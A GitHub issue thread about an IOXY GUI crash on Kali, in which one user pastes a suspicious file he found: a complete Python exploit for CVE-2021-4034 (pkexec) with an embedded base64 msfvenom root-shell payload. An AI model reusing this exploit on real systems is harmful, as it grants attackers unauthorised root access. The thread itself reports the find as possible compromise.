Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Jump to bottom

panic: runtime error #11

Closed
MichaelVirnig opened this issue Sep 15, 2022 · 9 comments
Closed

panic: runtime error #11

MichaelVirnig opened this issue Sep 15, 2022 · 9 comments
Assignees
@hutchYy
Labels
bug Something isn't working

Comments

@MichaelVirnig
Copy link

I am trying to install on the latest kali linux build. I have golang-go working and am able to complete the build with go. I have go 1.19.1 installed and go-sqlite3 v1.14.15
Whenever I try to launch the gui I get the following error.

./ioxy gui
panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x18 pc=0x7a3226]

goroutine 1 [running]:
debug/elf.(*Section).ReadAt(0xc00017c340?, {0xc00020ac00?, 0xeda8f0?, 0x34?}, 0x40?)
:1 +0x26
archive/zip.readDirectoryEnd({0xb142c0, 0xc000177300}, 0x510)
/usr/local/go/src/archive/zip/reader.go:526 +0xf5
archive/zip.(*Reader).init(0xc000117030, {0xb142c0?, 0xc000177300}, 0x510)
/usr/local/go/src/archive/zip/reader.go:97 +0x5c
archive/zip.NewReader({0xb142c0, 0xc000177300}, 0x510)
/usr/local/go/src/archive/zip/reader.go:90 +0x5e
github.com/daaku/go%2ezipexe.zipExeReaderElf({0xb14c60?, 0xc000014058}, 0xedb5f0)
/root/go/pkg/mod/github.com/daaku/go.zipexe@v1.0.0/zipexe.go:128 +0x8b
github.com/daaku/go%2ezipexe.NewReader({0xb14c60, 0xc000014058}, 0x0?)
/root/go/pkg/mod/github.com/daaku/go.zipexe@v1.0.0/zipexe.go:48 +0x98
github.com/daaku/go%2ezipexe.OpenCloser({0xc00002c258?, 0xc000143d10?})
/root/go/pkg/mod/github.com/daaku/go.zipexe@v1.0.0/zipexe.go:30 +0x57
github.com/GeertJohan/go%2erice.init.0()
/root/go/pkg/mod/github.com/!geert!johan/go.rice@v1.0.2/appended.go:42 +0x65

Hopefully someone else has run into this and has a fix, but as of right now I have reinstalled go and ioxy with restarts and not seeing anything significant in the logs.
@hutchYy hutchYy self-assigned this Oct 3, 2022
@hutchYy hutchYy added the bug Something isn't working label Oct 3, 2022
@hutchYy
Copy link
Contributor

hutchYy commented Oct 3, 2022

Hi Michael!

Thanks for showing interest in IOXY and submitting the issue!
We added this issue to our tracking list and will comeback to you soon with more details and hopefully, a fix :)

Have a nice day!

Best regards,
hutchYy

@SecJoe
Copy link

SecJoe commented Oct 14, 2022 •
edited
Loading

Same here on kali. I think much people (pentester) are using IOXY primarily on kali, so the that tool should be tested and fully working on kali primary.

@MichaelVirnig: Do you have found any workaround?

@FlyingDomotic
Copy link

I have the same problem here with an RPi 4 under Buster.

And under Kali on PC. Just after running ./ioxy gui, I found some strange files on my home directory.

First, a ''GCONV_PATH=./' empty file.
Second, an exploit folder, containing a gconv-modules file with an header
Last, a test.py file containing:

#!/usr/bin/env python3

# CVE-2021-4034 in Python
#
# Joe Ammond (joe@ammond.org)
#
# This was just an experiment to see whether I could get this to work
# in Python, and to play around with ctypes

# This was completely cribbed from blasty's original C code:
# https://haxx.in/files/blasty-vs-pkexec.c

import base64
import os
import sys

from ctypes import *
from ctypes.util import find_library

# Payload, base64 encoded ELF shared object. Generate with:
#
# msfvenom -p linux/x64/exec -f elf-so PrependSetuid=true | base64
#
# The PrependSetuid=true is important, without it you'll just get
# a shell as the user and not root.
#
# Should work with any msfvenom payload, tested with linux/x64/exec
# and linux/x64/shell_reverse_tcp

payload_b64 = b'''
f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAkgEAAAAAAABAAAAAAAAAALAAAAAAAAAAAAAAAEAAOAAC
AEAAAgABAAEAAAAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAArwEAAAAAAADMAQAAAAAAAAAQ
AAAAAAAAAgAAAAcAAAAwAQAAAAAAADABAAAAAAAAMAEAAAAAAABgAAAAAAAAAGAAAAAAAAAAABAA
AAAAAAABAAAABgAAAAAAAAAAAAAAMAEAAAAAAAAwAQAAAAAAAGAAAAAAAAAAAAAAAAAAAAAIAAAA
AAAAAAcAAAAAAAAAAAAAAAMAAAAAAAAAAAAAAJABAAAAAAAAkAEAAAAAAAACAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAwAAAAAAAAAkgEAAAAAAAAFAAAAAAAAAJABAAAAAAAABgAAAAAA
AACQAQAAAAAAAAoAAAAAAAAAAAAAAAAAAAALAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAASDH/amlYDwVIuC9iaW4vc2gAmVBUX1JeajtYDwU=
'''
payload = base64.b64decode(payload_b64)

# Set the environment for the call to execve()
environ = [
        b'exploit',
        b'PATH=GCONV_PATH=.',
        b'LC_MESSAGES=en_US.UTF-8',
        b'XAUTHORITY=../LOL',
        None
]

# Find the C library to call execve() directly, as Python helpfully doesn't
# allow us to call execve() with no arguments.
try:
    libc = CDLL(find_library('c'))
except:
    print('[!] Unable to find the C library, wtf?')
    sys.exit()

# Create the shared library from the payload
print('[+] Creating shared library for exploit code.')
try:
    with open('payload.so', 'wb') as f:
        f.write(payload)
except:
    print('[!] Failed creating payload.so.')
    sys.exit()
os.chmod('payload.so', 0o0755)

# make the GCONV_PATH directory
try:
    os.mkdir('GCONV_PATH=.')
except FileExistsError:
    print('[-] GCONV_PATH=. directory already exists, continuing.')
except:
    print('[!] Failed making GCONV_PATH=. directory.')
    sys.exit()

# Create a temp exploit file
try:
    with open('GCONV_PATH=./exploit', 'wb') as f:
        f.write(b'')
except:
    print('[!] Failed creating exploit file')
    sys.exit()
os.chmod('GCONV_PATH=./exploit', 0o0755)

# Create directory to hold gconf-modules configuration file
try:
    os.mkdir('exploit')
except FileExistsError:
    print('[-] exploit directory already exists, continuing.')
except:
    print('[!] Failed making exploit directory.')
    sys.exit()

# Create gconf config file
try:
    with open('exploit/gconv-modules', 'wb') as f:
        f.write(b'module  UTF-8//    INTERNAL    ../payload    2\n');
except:
    print('[!] Failed to create gconf-modules config file.')
    sys.exit()

# Convert the environment to an array of char*
environ_p = (c_char_p * len(environ))()
environ_p[:] = environ

print('[+] Calling execve()')
# Call execve() with NULL arguments
libc.execve(b'/usr/bin/pkexec', c_char_p(None), environ_p)

I'm not an expert, but this looks like an exploit, trying to do unknown things, as I don't understand what's in Base64 payload, supposed to be an ELF file, I don't know which OS is targeted.

Reading the code, I suspect a crash in the last line, probably due to the fact that ELF format is not for the right OS/CPU.

FYI, this was done on a brand new go language installation on both Kali and Debian, with native (golang-go, notgccgo-go), following ##8 (comment) procedure (except that I didn't remove gcc-go, as it was not installed). That's the only go language code I ever ran on this machine. This may be located somewhere in the used modules, but I didn't try yet to locate it, as I a very newbie in go (but I'll try to fix it!)

@hutchYy
Copy link
Contributor

hutchYy commented Oct 28, 2022

Hi @FlyingDomotic, @MichaelVirnig,

I just tried to reproduce your issues on a fresh new kali:

┌──(kali㉿kali)-[~]
└─$ cat /etc/os-release 
PRETTY_NAME="Kali GNU/Linux Rolling"
NAME="Kali GNU/Linux"
ID=kali
VERSION="2022.3"
VERSION_ID="2022.3"
VERSION_CODENAME="kali-rolling"
ID_LIKE=debian
ANSI_COLOR="1;31"
HOME_URL="https://www.kali.org/"
SUPPORT_URL="https://forums.kali.org/"
BUG_REPORT_URL="https://bugs.kali.org/"

Here is the steps I made to install IOXY on a fresh Kali:

sudo apt update && sudo apt install -y golang-go
git clone https://github.com/NVISOsecurity/IOXY.git
cd IOXY/ioxy
CGO_CFLAGS="-g -O2 -Wno-return-local-addr" go build .
./ioxy gui


[ IN ANOTHER SHELL]
sudo netstat -tulpn 

Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp6       0      0 :::1111                 :::*                    LISTEN      8827/./ioxy

When browsing to http://127.0.0.1:111, I have the correct gui interface:
image

I also had a look at the dependencies, and they are version pinned + hash checked, which means that it used a trusted version and even if a repository get infected, a library would not be installed as it is not valid.

@FlyingDomotic, also, I just checked my local files for malicious scripts, but as you can see I found nothing:

┌──(kali㉿kali)-[~]
└─$ sudo grep -ri "ammond" /root /home  
                                                                                                                                                
┌──(kali㉿kali)-[~]
└─$

So think that when debugging IOXY you installed malicious golang packages. I would suggest that you further investigate so you can clean up your possibly compromised machine :)

Waiting for your input to see if my fix works on your machines.
If it works as expected, I will then update the README.txt to add the steps I just mentioned.

Have a nice day and take care!
hutchYy

@MichaelVirnig
Copy link
Author

MichaelVirnig commented Oct 28, 2022 via email

@FlyingDomotic
Copy link

On my side, I didn't debug anything. I just ran the following commands, on a system without go language:

sudo apt update
sudo apt upgrade
sudo apt install golang-go
sudo apt install golang-github-mattn-go-sqlite3-dev
git clone https://github.com/NVISO-BE/IOXY
cd IOXY/ioxy
export CGO_CFLAGS="-g -O2 -Wno-return-local-addr"
go build -gccgoflags='-lpthread'
./ioxy gui

Seems close to your method, except for golang-github-mattn-go-sqlite3-dev, which was explained on issue #8.

@FlyingDomotic
Copy link

As requested, I removed what I did install, and deleted both go and IOXY trees from my home folder.
I then ran Exactly to given commands.
os-release contains:

PRETTY_NAME="Kali GNU/Linux Rolling"
NAME="Kali GNU/Linux"
ID=kali
VERSION="2022.3"
VERSION_ID="2022.3"
VERSION_CODENAME="kali-rolling"
ID_LIKE=debian
ANSI_COLOR="1;31"
HOME_URL="https://www.kali.org/"
SUPPORT_URL="https://forums.kali.org/"
BUG_REPORT_URL="https://bugs.kali.org/"

I still had the crash.
I removed again everything and installed gccgo-go instead of golang-go. It worked and I have no errors now.
It seems that golang-go is causing the error, while gccgo-go doesn't, at least in my case. It may be interesting to modify IOXY README.md.
However, I don't understand why I got the malicious python file. Can someone try to decompile ELF file to see what it (try to) do?

@windBlaze
Copy link
Contributor

@FlyingDomotic thank you for the update :) I think the issue might be the architecture / CPU of your host (gccgo-go supports more CPUs / architectures than golang-go). In any case, we've updated the README instructions to include both options. I've re-tested them on a clean install of Kali 2022.03, and both methods worked without errors.

@FlyingDomotic
Copy link

@windBlaze Thanks!

FYI, machine is an Intel Core I5-1035G1 with 4 x Sunny Cove, something common and not so old ;-)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Assignees

@hutchYy hutchYy

Labels
bug Something isn't working
Milestone
No milestone
Development

No branches or pull requests
5 participants
@SecJoe @windBlaze @MichaelVirnig @hutchYy @FlyingDomotic